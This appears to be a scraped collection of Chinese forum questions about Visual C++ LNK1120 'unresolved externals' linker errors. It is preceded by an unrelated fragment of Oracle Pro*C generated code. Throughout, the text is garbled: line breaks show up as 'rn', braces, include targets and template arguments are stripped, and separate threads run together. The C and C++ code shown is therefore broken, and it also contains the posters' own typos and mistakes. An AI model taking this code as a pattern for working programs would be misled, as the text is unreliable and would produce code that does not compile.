selerr;rn unsigned short sqlety;rn unsigned int occurs;rn const short *cud;rn unsigned char *sqlest;rn const char *stmt;rn sqladts *sqladtp;rn sqltdss *sqltdsp;rn void **sqphsv;rn unsigned int *sqphsl;rn int *sqphss;rn void **sqpind;rn int *sqpins;rn unsigned int *sqparm;rn unsigned int **sqparc;rn unsigned short *sqpadto;rn unsigned short *sqptdso;rn unsigned int sqlcmax;rn unsigned int sqlcmin;rn unsigned int sqlcincr;rn unsigned int sqlctimeout;rn unsigned int sqlcnowait;rn int sqfoff;rn unsigned int sqcmod;rn unsigned int sqfmod;rn void *sqhstv[4];rn unsigned int sqhstl[4];rn int sqhsts[4];rn void *sqindv[4];rn int sqinds[4];rn unsigned int sqharm[4];rn unsigned int *sqharc[4];rn unsigned short sqadto[4];rn unsigned short sqtdso[4];rn sqlstm = 12,4;rnrn/* SQLLIB Prototypes */rnextern void sqlcxt (void **, unsigned int *,rn struct sqlexd *, const struct sqlcxp *);rnextern void sqlcx2t(void **, unsigned int *,rn struct sqlexd *, const struct sqlcxp *);rnextern void sqlbuft(void **, char *);rnextern void sqlgs2t(void **, char *);rnextern void sqlorat(void **, unsigned int *, void *);rnrn/* Forms Interface */rnstatic const int IAPSUCC = 0;rnstatic const int IAPFAIL = 1403;rnstatic const int IAPFTL = 535;rnextern void sqliem(char *, int *);rnrntypedef struct unsigned short len; unsigned char arr[1]; VARCHAR;rntypedef struct unsigned short len; unsigned char arr[1]; varchar;rnrn/* cud (compilation unit data) array */rnstatic const short sqlcud0[] =rn12,4130,852,0,0,rn5,0,0,1,0,0,27,36,0,0,4,4,0,1,0,1,9,0,0,1,9,0,0,1,9,0,0,1,10,0,0,rn36,0,0,2,40,0,3,38,0,0,2,2,0,1,0,1,97,0,0,1,97,0,0,rn59,0,0,3,0,0,29,40,0,0,0,0,0,1,0,rn74,0,0,4,0,0,30,41,0,0,0,0,0,1,0,rn;rnrnrn#include rn#include rn/* EXEC SQL BEGIN DECLARE SECTION; */ rnrn/* VARCHAR user[20],pass[20],tnsname[20]; */ rnstruct unsigned short len; unsigned char arr[20]; user;rnrnstruct unsigned short len; unsigned char arr[20]; pass;rnrnstruct unsigned short len; unsigned char arr[20]; tnsname;rnrnchar str_[10];rnchar str1_[10];rn/* EXEC SQL END DECLARE SECTION; */ rnrn/* EXEC SQL INCLUDE SQLCA;rn */ rn/*rn * $Header: sqlca.h 24-apr-2003.12:50:58 mkandarp Exp $ sqlca.h rn */rnrn/* Copyright (c) 1985, 2003, Oracle Corporation. All rights reserved. */rn rn/*rn
Debug/a.exe : fatal error LNK1120: 1 unresolved externals c语言问题
Debug/a.exe : fatal error LNK1120: 1 unresolved externalsrn我写了一个程序 编译没有问题 但执行不了 提示上面的错误!rn#includernint mian()rnrnprintf("aaaa");rnreturn 0;rnrn-------------------Configuration: a - Win32 Debug--------------------rnLinking...rnLIBCD.lib(crt0.obj) : error LNK2001: unresolved external symbol _mainrnDebug/a.exe : fatal error LNK1120: 1 unresolved externalsrnError executing link.exe.rnrna.exe - 2 error(s), 0 warning(s)
fatal error LNK1120: 1 unresolved externals什么原因,代码在里面
代码如下rn#includern#includern#define initsize 100rn#define listinc 10rnrnstruct lnodernrn int data;rn struct lnode *next;rn;rnrnstruct inilistrn struct lnode *head;rn int length;rn int listsize;rn;rnrnint inilist(struct inilist *L)rnrn L->head=(struct lnode *)malloc(initsize*sizeof(struct lnode));rn L->length=0;rn L->listsize=initsize;rn return 1;rnrnrnint destroy(struct inilist *L)rnrn int i=1;rn struct lnode *p,*q;rn p=L->head;rn q=p;rn while(i<=L->listsize)rn p=p->next;rn free(q);rn i++;rn rn L->length=0;rn L->listsize=0;rn return 1;rnrnrnmain()rnrn struct inilist *L;rn if(inilist(L)>0) printf("成功");rn if(destory(L)>0) printf("成功");rnrnrn已通过编译,是VC6.0编的rnrn错误是lianshicunchujiegou.obj : error LNK2001: unresolved external symbol _destoryrnDebug/lianshicunchujiegou.exe : fatal error LNK1120: 1 unresolved externalsrn执行 link.exe 时出错.rn什么原因啊?
LIBCD.lib(crt0.obj) : error LNK2001: unresolved external symbol _ma Debug/4_2.exe : fatal error LNK1120: 1 unresolved externals
LIBCD.lib(crt0.obj) : error LNK2001: unresolved external symbol _mainrnDebug/4_2.exe : fatal error LNK1120: 1 unresolved externalsrnError executing link.exe.rnrnLink时出现这个错误怎么解决?rnrn我写的是一个*.cpp程序,没有用到WiZard.
fatal error LNK1120: 1 unresolved externals 如何解决这个问题?
#ifndef HEAD_Hrn#define HEAD_Hrnrnclass Date rnpublic:rn Date ( int = 1 , int = 1, int = 1990 );rn void print() const;rn ~Date();rnrnprivate:rnrn int month;rn int day;rn int year;rn int checkDay( int ) const;rnrn;rnrn#endifrnrnrn#include rnrnusing std::cout;rnusing std::endl;rnrn#include "head.h"rnrnDate::Date( int mn, int dy, int yr)rnrn if ( mn > 0 && mn <=12 )rn month = mn;rn else rn month = 1;rn cout << "Month " << mn << " invalid. Set to month 1.\n";rn rn rn year = yr;rn day = checkDay ( dy );rnrn cout << "Date object constructor for date ";rn print ();rn cout << endl;rnrnrnvoid Date::print() constrnrn rn const char *monptr[12] = "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec";rn cout << monptr[month-1] <<" " << year << endl;rn cout << month << '/' << day << '/' << year < 0 && testDay <= daysPerMonth[ month ] )rn return testDay;rn if ( month == 2 && testDay == 29 && ( year % 400 == 0 || ( (year % 4 == 0) && (year % 100 != 0))))rn return testDay;rnrn cout << "Day " << testDay << " invalid. Set to day 1.\n";rn return 1;rn
fatal error LNK1120: 1 unresolved externals vc6.0 编译错错
MergerBmpView.obj : error LNK2001: unresolved external symbol "public: void __thiscall CMergerBmpView::SaveBmpToFile(char *,struct HBITMAP__ *)" (?SaveBmpToFile@CMergerBmpView@@QAEXPADPAUHBITMAP__@@@Z)rnDebug/MergerBmp.exe : fatal error LNK1120: 1 unresolved externalsrn如何解决??万分感激!!
调用外部函数提示 fatal error LNK1120: 2 unresolved externals
rn建立了 win32 console application工程,里面有以下四个.cpp文件。rn运行后提示rn1.obj : error LNK2001: unresolved external symbol _print_stringrn1.obj : error LNK2001: unresolved external symbol _delete_stringrnDebug/li.exe : fatal error LNK1120: 2 unresolved externalsrnError executing link.exe.rn请问是什么原因。rn程序本身是没啥问题的。多谢!rnrnrnfile1.c(文件1)rn#include”stdio.h”rnvoid main( )rnextern void enter_string(char str[] );rn extern void delete_string(char str[] ,char ch);rn extern void print_string (char str[] );rn /*说明本文件要用到其它文件中的3个函数 */rnchar c;rnstatic char str[80];rnenter_string(str);rnscanf(“%c”,&c);rndelete_string(str,c);rnprint_string(str);rnrnfile2.c(文件2)rn#include ”stdio.h”rnvoid enter_string(char str[80]) /*定义外部函数enter_string */rnrngets (str);rn /*向字符数组输入字符串str*/rnfile3.c(文件3)rn#include”stdio.h”rnvoid delete_string(char str[],char ch) /*定义外部函数delete_string*/rnrnint i,j;rnfor(i=j=0;str[i]!=’\0’;i++)rn if(str[i]!=ch)rnstr[j++]=str[i];rn str[j]=’\0’;rn rnfile4.c(文件4)rn #include”stdio.h”rn void print_string(char str[]) /*定义外部函数print_string*/rn rn printf(“%s”,str);rn rn
大家帮忙看看fatal error LNK1120: 13 unresolved externals
[code=C/C++]//people.h文件rn#ifndef PEOPLE_Hrn#define PEOPLE_Hrnrn#includernusing namespace std;rnrnclass Peoplernrnpublic:rn People();rn People(const string nam,const string num);rn People(const People& P);rn void Put_in_People();rn virtual void Display()const;rn virtual string Get_number()const;rn virtual ~People();rnprotected:rn string name;//姓名rn string number;//编号rn string sex;//性别rn;rnrnclass Student:virtual public Peoplernrnpublic:rn Student();rn Student(const string nam,const string num,const string cno);rn Student(const Student&S);rn void Put_in_Student();rn void Display()const;rn string Get_number()const;rnprotected:rn string classNO;//班号rn;rnrnclass Teacher:virtual public People//将Teacher类设为virtualrnrnpublic:rn Teacher();rn Teacher(const string nam,const string num,const string pri);rn Teacher(const Teacher& T);rn void Put_in_Teacher();rn void Display()const;rn string Get_number()const;rnprotected:rn string principalship;//职务rn;rnrnclass Graduate: virtual public Student//将Student类设为virtualrnrnpublic:rn Graduate();rn Graduate(const string nam,const string num,const string cno,const string sub);rn Graduate(const Graduate& G);rn void Put_in_Graduate();rn void Display()const;rn string Get_number()const;rnprotected:rn string subject;//专业rn;rnrnclass TA:public Graduate,public Teacherrnrnpublic:rn TA();rn TA(const string nam,const string num,const string cno,const string sub,const string pri);rn TA(const TA& GT);rn void Put_in_TA();rn void Display()const;rn string Get_number()const;rn;rnrn#endifrn[/code]rnrn[code=C/C++]//people.cpp文件rn#include"people.h"rn#includern#includernrnusing namespace std;rnrnPeople::People()rnrnrnrnrnPeople::People(const string nam,const string num):name(nam),number(num)rnrnrnrnrnPeople::People(const People& P)rnrn name=P.name;rn number=P.number;rnrnrnvoid People::Put_in_People()rnrn cout<<"请输入姓名: ";rn cin>>name;rn cout<<"请输入编号: ";rn cin>>number;rnrnrnvoid People::Display() constrnrn cout<>classNO;rnrnrnvoid Student::Display() constrnrn People::Display();rn cout<>principalship;rnrnrnvoid Teacher::Display() constrnrn People::Display();rn cout<>subject;rnrnrnvoid Graduate::Display() constrnrn Student::Display();rn cout<>principalship;rnrnrnvoid TA::Display() constrnrn Graduate::Display();rn cout<rn#includern#includernrnusing namespace std;rnrnvoid Input(vector&S,vector&T,vector&G,vector>);rnrnvoid Display_Message(vector&S,vector&T,vector&G,vector>) ;rnrnvoid Menu(vector&S,vector&T,vector&G,vector>);rnrnint main()rnrn rn vectorS;rn vectorT;rn vectorG;rn vectorGT;rn Menu(S,T,G,GT);rn return 0;rnrnrnrnvoid Input(vector&S,vector&T,vector&G,vector>)rnrn char ch;rn Student stu;rn Teacher tea;rn Graduate gra;rn TA ta;rn dorn rn cout<<"请选择录入的信息: "<>ch;rn switch(ch)rn rn case'1':stu.Put_in_Student();S.push_back(stu);break;rn case'2':tea.Put_in_Teacher();T.push_back(tea);break;rn case'3':gra.Put_in_Graduate();G.push_back(gra);break;rn case'4':ta.Put_in_TA();GT.push_back(ta);break;rn default:cout<<"输入错误,请重新输入: ";rn rn cout<<"继续录入吗?(y是/n否): ";rn cin>>ch;rn while(ch=='y');rnrnrnvoid Display_Message(vector&S,vector&T,vector&G,vector>) rnrn char ch;rn dorn rn cout<<"请选择浏览的信息: ";rn cout<<"1.本科学生\t2.在校教师\t3.研究生\t4.助教生"<>ch;rn switch(ch)rn rn case'1':rn if(S.size()==0)rn cout<<"没有本科学生的信息或者信息被删除!"<::iterator siter=S.begin();siter!=S.end();++siter)rn siter->Display();rn rn break;rn case'2':rn if(T.size()==0)rn cout<<"没有教师的信息或者信息被删除!"<::iterator titer=T.begin();titer!=T.end();++titer)rn titer->Display();rn rn break;rn case'3':rn if(G.size()==0)rn cout<<"没有研究生的信息或者信息被删除!"<::iterator giter=G.begin();giter!=G.end();++giter)rn giter->Display();rn rn break;rn case'4':rn if(GT.size()==0)rn cout<<"没有助教生的信息或者信息被删除!"<::iterator iter=GT.begin();iter!=GT.end();++iter)rn iter->Display();rn rn break;rn default:rn cout<<"输入错误,请重新输入: ";rn rn cout<<"继续浏览吗?(y是/n否): ";rn cin>>ch;rn while(ch=='y');rnrnrnvoid Menu(vector&S,vector&T,vector&G,vector>)rnrn char ch;rn cout<<"\t\t\t************************"<>ch;rn switch(ch)rn rn case'1':Input(S,T,G,GT);break;rn case'2':Display_Message(S,T,G,GT);break;rn case'3':rn case'4':rn case'5':rn case'0':cout<<"\t\t\t\t谢谢使用!"<
fatal error LNK1120: 6 unresolved externals问题怎么解决?
1. 头文件:TextQuery.h代码如下:rn [code=C/C++]rn#ifndef TEXTQUERY_H rn#define TEXTQUERY_H rn#include rn#include rn#include rn#include rn#include rn#include #include rnusing namespace std; rn rnclass TextQuery rnpublic: rn //类型别名 rn typedef string::size_type str_size; rn typedef vector::size_type line_no; rn rn //接口: rn //read_file建立建立给定文件的内部数据结构 rn void read_file(ifstream &is) rn store_file(is); build_map(); rn rn rn //run_query查询给定单词并返回该单词所在行的行号集合 rn vector run_query(const string&) const; rn rn //text_line返回输入文件中指定行号对应的行 rn string text_line(line_no) const; rn rnprivate: rn //read_file使用的辅助函数 rn void store_file(ifstream&); //存储输入文件 rn void build_map(); //将每个单词与一个行号集合相关联 rn rn //保存输入文件 rn vector lines_of_text; rn rn //将单词与出现该单词的行号集合相关联 rn map< string, vector > word_map; rn rn //去掉标点并把字母变成小写 rn static std::string cleanup_str(const std::string&); rn; rn rn#endif rnrn[/code]rnrnrn2. TextQuery类的实现文件如下:rn[code=C/C++]#include "TextQuery.h" rn#include rn rnstring TextQuery::text_line(line_no line) const rn rn if(line < lines_of_text.size()) rn return lines_of_text[line]; rn throw out_of_range("line number out of range"); rn rn rn//读输入文件,将每行存储为lines_of_text的一个元素 rnvoid TextQuery::store_file(ifstream &is) rn rn string textline; rn while(getline(is,textline)) rn lines_of_text.push_back(textline); rn rn rn//在输入vector中找以空白为间隔的单词 rn//将单词以及出现该单词的行的行号一起放入word_map rnvoid TextQuery::build_map() rn rn //处理输入vector中的每一行 rn for(line_no line_num = 0;line_num != lines_of_text.size(); ++line_num) rn rn //一次读入一个单词 rn istringstream line(lines_of_text[line_num]); rn string word; rn while(line >> word) rn // 去掉标点 rn word = cleanup_str(word); rn //将行号加入到vector容器中 rn if(word_map.count(word) == 0 ) //单词不在容器中 rn //利用下标操作将此单词加入 rn word_map[word].push_back(line_num); rn else //单词已在map容器中 rn if(line_num != word_map[word].back()) rn //行号与vector容器中最后一个元素不相等 rn word_map[word].push_back(line_num); rn rn rn rn rn rn//查询函数,返回单词所在的行号组成的set集 rnvector TextQuery::run_query(const string &query_word) const rn rn //注意,为了避免在word_map中加入单词,使用find函数而不用下标操作 rn map >::const_iterator loc = word_map.find(query_word); rn if(loc == word_map.end()) rn return vector(); //找不到,返回空的vector对象 rn else rn //获取并返回该单词关联的行号vector对象 rn return loc->second; rn rn rn//去掉标点,并将字母变为小写的函数 rnstring TextQuery::cleanup_str(const string &word) rn rn string ret; rn for(string::const_iterator it = word.begin(); rn it != word.end(); ++it) rn rn if(!ispunct(*it)) rn ret += tolower(*it); rn rn return ret; rn [/code]rnrn3.主程序所需要的另外两个函数包含在functions.cpp中,如下:rn[code=C/C++]#include rn#include rnusing namespace std; rn rnstring make_plural(size_t ctr,const string &word,const string &ending) rn rn return (ctr == 1) ? word : word + ending; rn rn rnifstream& open_file(ifstream &in,const string &file) rn rn in.close(); rn in.clear(); rn in.open(file.c_str()); rn return in; rn rnrn#include rn#include rnusing namespace std;rnrnstring make_plural(size_t ctr,const string &word,const string &ending)rnrn return (ctr == 1) ? word : word + ending;rnrnrnifstream& open_file(ifstream &in,const string &file)rnrn in.close();rn in.clear();rn in.open(file.c_str());rn return in;rn[/code]rnrn 4. 主程序如下:rn[code=C/C++]#include "TextQuery.h" rn rnstring make_plural(size_t, const string &word, const string &ending); rnifstream& open_file(ifstream&,const string&); rn rnvoid print_results(const vector& locs, rn const string& sought,const TextQuery &file) rn rn //如果找到单词sought,则输出该单词出现的行数 rn typedef vector line_nums; rn line_nums::size_type size = locs.size(); rn cout << "\n" << sought << " occurs " << size << " " << make_plural(size,"time","s") << endl; rn rn //输出出现该单词的每一行 rn line_nums::const_iterator it = locs.begin(); rn for(; it != locs.end(); ++it) rn cout << "\t(line " rn //行号从1开始 rn << (*it) + 1 << ") " rn << file.text_line(*it) << endl; rn rn rn rn//main函数接受文件名为参数 rnint main(int argc,char **argv) rn rn //open the file from which user will query words rn ifstream infile; rn if ( argc < 2 || !open_file(infile,argv[1])) rn cerr << " No input file! " << endl; rn return EXIT_FAILURE; rn rn rn TextQuery tq; rn tq.read_file(infile); //建立map容器 rn rn //循环接受用户的查询要求并输出结果 rn while(true) rn cout << "Enter word to look for, or q to quit: "; rn string s; rn cin >> s; rn //将s变小写 rn string ret; rn for (string::const_iterator it = s.begin(); it != s.end(); ++it) rn ret += tolower(*it); rn rn s = ret; rn rn //如果用户输入文件结束符或字符'q'及'Q',则结束循环 rn if ( !cin || s == "q" || s == "Q") break; rn rn //获取出现所查询单词所有行的行号 rn vector locs = tq.run_query(s); rn //输出出现次数及所有相关文本行 rn print_results(locs,s,tq); rn rn return 0; rn [/code]rnrn问题描述:我在第一次新建了一个Win32 Console Application工程,然后在此工程里建立了以上4个文件,问题是在第一次编写完成之后,Ctrl+F7编译通过,Ctrl+F5运行可以弹出命令窗口(虽然此时直接显示No Input File,这是因为没有传递实参给main函数),但是在关闭此工程,然后再重新打开后Ctrl+F7编译通过,Ctrl+F5运行就会提示以下错误:rnrnLinking...rn。。。。。。rnDebug/10_32test.exe : fatal error LNK1120: 6 unresolved externalsrn执行 link.exe 时出错.rnrn10_32test.exe - 1 error(s), 0 warning(s)rnrn rnrn请问这是为什么?我按照网上的解决方法说是在项目下面设置里面连接标签页下面改子系统设置,将console改为windows还是将windows改为console,我现在新建的是Console,应该不用更改,况且我改过了也不对。在类模块里加入了 wsock32.lib ws2_32.lib也还是不正确,但是当我把main函数要使用到的两个辅助函数,make_plural和open_file全写入到main()函数里面就变成4个unresolved externals了,请问这是为什么呢?rnrn
error LNK2001: unresolved external symbol _main; fatal error LNK1120: 1 unresolved externals
error LNK2001: unresolved external symbol _main; fatal error LNK1120: 1 unresolved externals,怎么解决?
error LNK2001: unresolved external symbol _Netbios@4???fatal error LNK1120: 1 unresolved externals???
我在程序中调用了Netbios(),是不是这个函数的头文件没有被包含,应该是什么??rn我添加了#include 还是不对
头文件的疑问error LNK1120: 2 unresolved externals
里面的加载的头文件是照着教材上写的,我自己加了#include和using namespace std;部分rncompile没问题,就是build时出现rnmain.obj : error LNK2001: unresolved external symbol "public: void __thiscall File::Append(char *,char *,struct ElemType)" (?Append@?$File@UIndexItem@@UElemType@@@@QAEXPAD0UElemType@@@Z)rnmain.obj : error LNK2001: unresolved external symbol "public: struct ElemType __thiscall File::inputElem(struct ElemType &)" (?inputElem@?$File@UIndexItem@@UElemType@@@@QAE?AUElemType@@AAU2@@Z)rnDebug/mywork.exe : fatal error LNK1120: 2 unresolved externalsrn执行 link.exe 时出错.rn小的实在菜,这是怎么一回事呢?希望众高手支招rn[code=C/C++]rn//main.cpprn#includern#includern#includern#includern#includern#include"file.h"rnvoid main()rn char *p1=".\\File.dat",*p2=".\\File.idx";rn Filemyfile; rn ElemType e; //记录元素rnrn while(1)rn cout<<"欢迎\n";rn cout<<"1-增加记录\t 2-删除记录\t 3-查找记录\n 4-浏览记录\n ";rn char choice;rn cin>>choice;rn switch(choice)rn case '1':rn myfile.inputElem(e);rn cout<rn#includern#includern#includern#includernusing namespace std;rnrntypedef char KeyType;rnrn//主文件的记录类型rnstruct ElemTypern KeyType key[10]; //关键字域rn string content; //内容域rn int length; //内容长度rn;rnrn//索引文件的记录类型rnstruct IndexItemrn KeyType key; //关键字域rn int next; //对应记录位置rn;rnrntemplate //T==IndexItem;T1==ElemTypernclass Filernpublic:rnrn ElemType inputElem(ElemType & e);rnrn void Append(char*fn1,char*fn2,T1 );rnrn;rnrn//Elem.cpprn#include"file.h"rntemplate //T==IndexItem;T1==ElemTypernElemType inputElem(T1 & e)rnrn ......rnrn[/code]rn
c++ 运行调试出现这个错误 fatal error LNK1120: 9 unresolved externals
代码段:rn#include "stdafx.h"rn#include "S180006CAPIExampleComEn.h"rn#include "S180006CAPIExampleComEnDlg.h"rn#include "SeRFIDepcApi.h" //引用EPC API头文件rn#include "SeRFIDPub.h" //引用公共API头文件rn#includernusing namespace std;rnvoid main()rnrnHANDLE g_hCom; //串口句柄变量rnunsigned char g_RAddr = 0xFF; //读写器的地址变更rnstatus = SeRFIDpub_Open(g_hCom,"COM1");rnif (status != ERR_NONE)rnrn printf("打开串口失败! ");rnrnelse //否则,打开串口成功rnrn printf("打开串口成功! ");rn unsigned char BaudRateIndex = 0x08; //波特率115200bps的序号值是0x08,详情请参考//SeRFIDpub_SysSetBaudRate API说明。rn status = SeRFIDpub_SysSetBaudRate(g_hCom,g_RAddr,BaudRateIndex);//设置波特率rn if(status == ERR_NONE)rn rn rn printf("设置波特率为115200bps成功! ");rn rnrnrnunsigned char TagCount = 0x00;// 返回的标签数变量rnunsigned char TagData[64]; //返回的标签号数组rnunsigned char QValue = 2;rnunsigned char Bank = 1, Point = 0,ReadLen = 12; //标签号的块地址,与块内偏移量,以及标签长度.rnunsigned char MaskLength = 0; //用于匹配的长为0,即不匹配标签,对所有标签都进行操作。rnunsigned char Mask[16]; //匹配数据变量数组。rnint i;rn//启动多标签读。rnstatus =SeRFIDGen2_MultiRead(g_hCom,g_RAddr,QValue,Bank,Point,ReadLen,MaskLength,Mask);rn//参数说明: g_hCom:传入串口句柄,g_RAddr:读写器地址rnif (status == ERR_NONE)rnrn SeRFIDGen2_End(g_hCom, g_RAddr); //结束多标签读rn SeRFIDpub_BufGetTagNum(g_hCom, g_RAddr, &TagCount); //取已经读出的标签数rn for(i=0;i
fatal error LNK1120是什么错误?
代码是一个dll动态链接库rn源代码如下:rn#include "stdafx.h"rn#include "GetOth2CNC.h"rn//#include "CmdSocket.h"rn#include "DataSocket.h"rnrn#ifdef _DEBUGrn#define new DEBUG_NEWrn#undef THIS_FILErnstatic char THIS_FILE[] = __FILE__;rn#endifrnrnBEGIN_MESSAGE_MAP(CGetOth2CNCApp, CWinApp)rn //AFX_MSG_MAP(CGetOth2CNCApp)rn //AFX_MSG_MAPrnEND_MESSAGE_MAP()rnrnCGetOth2CNCApp::CGetOth2CNCApp()rnrn m_dataSocket = new CDataSocket(this);rnrnrnCGetOth2CNCApp theApp;rnrnextern "C" __declspec(dllexport)long WINAPI GetOth2Status(long CNCType, char *IPAddress, unsigned short PortNo, long TimeOut, StatusData* data ) ;rnlong WINAPI GetOth2Status( long CNCType,rn char *IPAddress,rn unsigned short PortNo,rn long TimeOut,rnrn StatusData *data )rnrnrn HKEY hKey;rnrn LPBYTE AlarmNo=new BYTE[4];rn DWORD type=REG_SZ;rn DWORD length=4; rnrn if (!AfxSocketInit())rn rn theApp.m_dataSocket->Close();rn delete theApp.m_dataSocket;rn return -1;rn rnrn if (!theApp.m_dataSocket->connect(IPAddress, PortNo))rn rn //theApp.m_dataSocket.Close();rn theApp.m_dataSocket->Close();rn delete theApp.m_dataSocket;rn return -1;rn rnrnrn if(theApp.m_dataSocket->sendCommand ("yesstatus,prg,sub,mode,mmode")==false)rn rn theApp.m_dataSocket->Close();rn delete theApp.m_dataSocket; rn //AfxMessageBox(m_StrStatus);rn return -1;rn rn rn MyBuf.status= theApp.XMLParse(theApp.m_dataSocket->Result_value, "status");rn memcpy( data, &MyBuf, sizeof( StatusData ) ) ;rn return 0;rnrnint CGetOth2CNCApp::ExitInstance() rnrn // TODO: Add your specialized code here and/or call the base classrn //theApp.m_dataSocket.Close();rn return CWinApp::ExitInstance();rnrnrn rn rnrn错误信息如下:rncompiling...rnGetOth2CNC.cpprnLinking...rn Creating library Release/GetOth2CNC.lib and object Release/GetOth2CNC.exprnGetOth2CNC.obj : error LNK2001: unresolved external symbol "public: __thiscall CDataSocket::CDataSocket(class CGetOth2CNCApp *)" (??0CDataSocket@@QAE@PAVCGetOth2CNCApp@@@Z)rnRelease/GetOth2CNC.dll : fatal error LNK1120: 1 unresolved externalsrnError executing link.exe.rnrnGetOth2CNC.dll - 2 error(s), 0 warning(s)rn这是什么错误?怎么解决?
C++ debug 报错问题 fatal error LNK1120
高手帮忙看看:rn[color=#993300]test_f.h 文件[/color][code=C/C++][/code]rn#ifndef _H_Hrn#define _H_Hrnrnextern int k;//k为偏移量数组中的计数变量rnextern int in_tab[9999]=0; rnextern float coef_tab[9999]=0; rnextern float out_tab[9999]=0; rnextern int io[256];rnextern int co[256];rnextern int oo[256];rnrnextern void init_alg(char *p_buf);rnextern int two_one(char a,char b);rnrnrnextern struct rbn rnrn int blk_num;//block numberrn int fun_num;//function code numberrn int MFP;//MFP numberrn int seq_blk;// initial sequence rn int in_num;//input numberrn int coef_num;// coeffcient numberrn int out_num;// output numberrn int *in_offet;//input offsetrn float *coef_offet;//coeffcient offsetrn float *out_offet;//output offsetrn int *in;rn float *coef;rn float *out;rn float dt;//compute periodsrn rninit_rbn[10000];rnrn#endifrnrn[color=#993300]test_f.cpp文件[/color]rn#include rn#include rn#include "test_f.h"rn#include "math.h"rn#include rnrnint two_one(char a,char b)rnrn int blk_n;rn blk_n = ((unsigned char)a <<8)|(unsigned char)b;rn return(blk_n);rnrnrnint io[256]=0,1,0,2,2,1,1,1,2,3,4,rn 4,1,3,4,2,2,2,3,4,3,rn 6,6,6,1,0,0rn;rnint co[256]=0,12,1,2,4,2,2,1,2,2,0,rn 0, 2,0,0,2,1,1,7,8,1,rn 10,10,10,2,2,3rn;rnint oo[256]=0,1,1,1,2,1,1,1,1,1,1,rn 1,2,1,1,1,1,1,1,1,1,rn 6,6,6,1,1rn;rnrnrnrnrnvoid init_alg(char *p_buf)rnrnrn rn init_rbn[0].in_offet=&in_tab[0];rn init_rbn[0].coef_offet=&coef_tab[0];rn init_rbn[0].out_offet=&out_tab[0];rn init_rbn[k].blk_num=two_one(p_buf[28],p_buf[29]);rnrnrnrnint main()rnrn int *p=&in_tab[0];rn printf("*p=\n",*p);rnrn return 0;rnrnrnrn[color=#993300]Configuration: test_f - Win32 Debug--------------------rnCompiling...rntest_f.cpprnLinking...rntest_f.obj : error LNK2001: unresolved external symbol "int k" (?k@@3HA)rntest_f.obj : error LNK2001: unresolved external symbol "struct rbn * init_rbn" (?init_rbn@@3PAUrbn@@A)rnDebug/test_f.exe : fatal error LNK1120: 2 unresolved externalsrnError executing link.exe.rnrntest_f.exe - 3 error(s), 0 warning(s)[/color]rnrn在线等rn
编程新手C++求助,VS2013出现fatal error LNK1120: 4 unresolved externals
是在学《accelerated C++》出现的问题,类的定义。rnrnVec.h :rn[code=c]#ifndef GUARD_Vec_hrn#define GUARD_Vec_hrnrn#include rn#include rnrntemplate class Vec rnrnpublic:rn typedef T* iterator;rn typedef const T* const_iterator;rn typedef size_t size_type;rn typedef T value_type;rn typedef T& reference;rn typedef const T& const_reference;rn typedef std::ptrdiff_t difference_type; //ptrdiff_t rnrn Vec() create(); rn explicit Vec(size_type n, const T& t = T()) create(n, t); rnrn Vec(const Vec& v) create(v.begin(), v.end()); rn Vec& operator=(const Vec&); // 单独定义rn ~Vec() uncreate(); rnrn void clear() uncreate(); rnrn T& operator[](size_type i) return data[i]; rn const T& operator[](size_type i) const return data[i]; rnrn void push_back(const T& t) rn if (avail == limit)rn grow();rn unchecked_append(t);rn rnrn size_type size() const return avail - data; rnrn iterator begin() return data; rn const_iterator begin() const return data; rn iterator end() return avail; rn const_iterator end() const return avail; rnrnprivate:rn iterator data;rn iterator avail;rn iterator limit;rnrn std::allocator alloc;rnrn void create();rn void create(size_type, const T&);rn void create(const_iterator, const_iterator);rnrn void uncreate();rnrn void grow();rn void unchecked_append(const T&);rn;rnrn#endif[/code]rnrnVec-related.cpprn[code=c]rn#include rn#include rn#include "Vec.h"rnrntemplate rnVec& Vec::operator=(const Vec& rhs)rnrn if (&rhs != this) rn uncreate();rn create(rhs.begin(), rhs.end());rn rn return *this;rnrnrntemplate void Vec::create()rnrn data = avail = limit = 0;rnrnrntemplate void Vec::create(size_type n, const T& val)rnrn data = alloc.allocate(n);rn limit = avail = data + n;rn uninitialized_fill(data, limit, val);rnrnrntemplate rnvoid Vec::create(const_iterator i, const_iterator j)rnrn data = alloc.allocate(j - i);rn limit = avail = uninitialized_copy(i, j, data);rnrnrntemplate void Vec::uncreate()rnrn if (data) rn iterator it = avail;rn while (it != data)rn alloc.destroy(--it);rnrn alloc.deallocate(data, limit - data);rn rn data = limit = avail = 0;rnrnrntemplate void Vec::grow()rnrn //when growing, allocate twice as much space as currently in usern size_type new_size = max(2 * (limit - data), ptrdiff_t(2));rnrn iterator new_data = alloc.allocate(new_size);rn iterator new_avail = uninitialized_copy(data, avail, new_data);rnrn uncreate();rnrn data = new_data;rn avail = new_avail;rn limit = data + new_size;rnrnrntemplate void Vec::unchecked_append(const T& val)rnrn alloc.construct(avail++, val);rnrn[/code]rnrnStr.hrn[code=c]rn#include "Vec.h"rn#include rn#include rn#include rnrnclass Str rn //class 的和第一个保护标签之间的成员都是private的rn friend std::istream& operator>>(std::istream&, Str&);rnpublic:rn Str& operator+=(const Str& s) rn std::copy(s.data.begin(), s.data.end(), std::back_inserter(data));rn return *this;rn rnrn typedef Vec::size_type size_type;rnrn Str() rn Str(size_type n, char c) : data(n, c) rn Str(const char* cp) rn std::copy(cp, cp + strlen(cp), std::back_inserter(data));rn rnrn template Str(In b, In e) rn std::copy(b, e, std::back_inserter(data));rn rnrn size_type size() const return data.size(); rn char& operator[](size_type i) return data[i]; rn const char& operator[](size_type i) const return data[i]; rn rnrnprivate:rn Vec data;rn;rnrnstd::ostream& operator<<(std::ostream&, const Str&);rnStr operator+(const Str& s, const Str& t);[/code]rnrnStr-related.cpprn[code=c]rn#include "Str.h"rn#include "Vec.h"rnrnusing namespace std;rnostream& operator<<(ostream& os, const Str& s)rnrn for (Str::size_type i = 0; i != s.size(); ++i)rn os << s[i];rn return os;rnrnrnistream& operator>>(istream& is, Str& s) rnrn s.data.clear();rnrn char c;rn while (is.get(c) && isspace(c))rn ;rn if (is) rn do s.data.push_back(c);rn while (is.get(c) && !isspace(c));rnrn if (is)rn is.unget();rn rn return is;rnrnrnStr operator+(const Str& s, const Str& t)rnrn Str r = s;rn r += t;rn return r;rn[/code]rnrnmain:rn[code=c]rnint main()rn[/code]rnrnrnoutput:1>------ Build started: Project: 定义抽象数据类型, Configuration: Debug Win32 ------rn1> 